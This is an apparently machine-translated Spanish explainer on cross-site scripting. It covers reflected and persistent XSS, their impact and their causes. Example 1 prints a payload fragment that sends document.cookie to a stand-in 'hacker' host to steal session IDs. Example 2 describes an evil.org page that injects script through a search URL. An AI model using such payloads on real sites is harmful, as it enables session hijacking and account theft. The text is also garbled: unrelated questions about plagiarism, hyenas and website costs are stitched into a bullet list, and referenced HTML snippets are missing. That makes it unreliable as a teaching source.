Cross-Site Scripting (también conocido como XSS) es uno de los ataques web de capa de aplicación más comunes. Las vulnerabilidades XSS se dirigen a scripts incrustados en una página que se ejecutan en el lado del cliente (en el navegador web del usuario) en lugar de en el lado del servidor. XSS en sí mismo es una amenaza provocada por las debilidades de seguridad de Internet de los lenguajes de script del lado del cliente, como HTML y JavaScript. El concepto de XSS es manipular los scripts del lado del cliente de una aplicación web para ejecutarlos de la manera deseada por el usuario malintencionado. Tal manipulación puede incrustar un script en una página que se puede ejecutar cada vez que se carga la página, o cada vez que se realiza un evento asociado.
XSS es la vulnerabilidad de seguridad más común en el software actual. Este no debería ser el caso, ya que XSS es fácil de encontrar y de solucionar. Las vulnerabilidades de XSS pueden tener consecuencias como la manipulación y el robo de datos confidenciales.
Conceptos clave de XSS
- ¿Hay algún buen sitio web de control de plagio?
- ¿Hay alguna manera de cambiar manualmente los datos de cada cliente (cuentas en mi sitio web) cuando se actualizan?
- Al responder una pregunta sobre las hienas me encontré con este sitio web. ¿Cómo puedo registrar mi desaprobación en la empresa de manera efectiva? Ver comentario para página web
- Cómo crear un blog o sitio de música
- ¿Cuánto costaría en INR construir un sitio web?
- XSS es un ataque basado en web realizado en aplicaciones web vulnerables.
- En los ataques XSS, la víctima es el usuario y no la aplicación.
- En los ataques XSS, el contenido malicioso se entrega a los usuarios que usan JavaScript.
Explicando las secuencias de comandos entre sitios
Una vulnerabilidad XSS surge cuando las aplicaciones web toman datos de los usuarios y los incluyen dinámicamente en las páginas web sin primero validar adecuadamente los datos. Las vulnerabilidades XSS permiten que un atacante ejecute comandos arbitrarios y muestre contenido arbitrario en el navegador de un usuario víctima. Un ataque XSS exitoso lleva a un atacante a controlar el navegador o la cuenta de la víctima en la aplicación web vulnerable. Aunque XSS está habilitado por páginas vulnerables en una aplicación web, las víctimas de un ataque XSS son los usuarios de la aplicación, no la aplicación en sí. La potencia de una vulnerabilidad XSS radica en el hecho de que el código malicioso se ejecuta en el contexto de la sesión de la víctima, lo que permite al atacante eludir las restricciones de seguridad normales.
Ejemplos de ataques XSS
XSS reflectante
Hay muchas maneras en que un atacante puede atraer a una víctima para que inicie una solicitud XSS reflexiva. Por ejemplo, el atacante podría enviar a la víctima un correo electrónico engañoso con un enlace que contenga JavaScript malicioso. Si la víctima hace clic en el enlace, la solicitud HTTP se inicia desde el navegador de la víctima y se envía a la aplicación web vulnerable. El JavaScript malicioso se refleja nuevamente en el navegador de la víctima, donde se ejecuta en el contexto de la sesión del usuario de la víctima.
XSS persistente
Considere una aplicación web que permita a los usuarios ingresar un nombre de usuario que se muestra en la página de perfil de cada usuario. La aplicación almacena cada nombre de usuario en una base de datos local. Un usuario malintencionado se da cuenta de que la aplicación web no puede desinfectar el campo de nombre de usuario e ingresa código JavaScript malicioso como parte de su nombre de usuario. Cuando otros usuarios ven la página de perfil del atacante, el código malicioso se ejecuta automáticamente en el contexto de su sesión.
Impacto de las secuencias de comandos entre sitios
Cuando los atacantes logran explotar las vulnerabilidades XSS, pueden obtener acceso a las credenciales de la cuenta. También pueden propagar gusanos web o acceder a la computadora del usuario y ver el historial del navegador del usuario o controlar el navegador de forma remota. Después de obtener el control del sistema de la víctima, los atacantes también pueden analizar y usar otras aplicaciones de intranet.
Al explotar las vulnerabilidades XSS, un atacante puede realizar acciones maliciosas, como:
- Secuestrar una cuenta.
- Difundir gusanos web.
- Acceda al historial del navegador y al contenido del portapapeles.
- Controla el navegador de forma remota.
- Escanee y explote los dispositivos y aplicaciones de la intranet.
Identificación de vulnerabilidades de secuencias de comandos entre sitios
Las vulnerabilidades XSS pueden ocurrir si:
- La entrada que ingresa a las aplicaciones web no está validada
- La salida al navegador no está codificada en HTML
Ejemplos XSS
Ejemplo 1.
Por ejemplo, el fragmento de HTML:
está destinado a ilustrar un fragmento de plantilla que, si el título de la variable tiene un valor de Cross-Site Scripting, da como resultado que se emita el siguiente HTML para el navegador:
Un sitio que contiene un campo de búsqueda no tiene la desinfección de entrada adecuada. Al elaborar una consulta de búsqueda con un aspecto similar a este:
“> var + img = new + Image (); img.src =” http: // hacker / “% 20 +% 20document.cookie;
sentado en el otro extremo, en el servidor web, recibirá visitas donde, después de un doble espacio, se encuentra la cookie del usuario. Si un administrador hace clic en el enlace, un atacante podría robar el ID de sesión y secuestrar la sesión.
Ejemplo 2
Supongamos que hay una URL en el sitio de Google, http://www.google.com/search?q=f…, que devuelve documentos HTML que contienen el fragmento
Su búsqueda de ‘flores’ arrojó los siguientes resultados:
es decir, el valor del parámetro de consulta q se inserta en la página devuelta por Google. Supongamos además que los datos no se validan, filtran o escapan.
http://Evil.org podría abrir una página que haga que se cargue la siguiente URL en el navegador (por ejemplo, en un invisible):
http://www.google.com/search?q=f… ()% 3C / script% 3E
Cuando una víctima carga esta página desde www.evil.org, el navegador cargará el iframe desde la URL anterior. El documento cargado en el iframe ahora contendrá el fragmento
Su búsqueda de ‘flowers evil_script () ‘
devolvió los siguientes resultados:
Al cargar esta página, el navegador ejecutará evil_script () . Además, este script se ejecutará en el contexto de una página cargada desde www.google.com .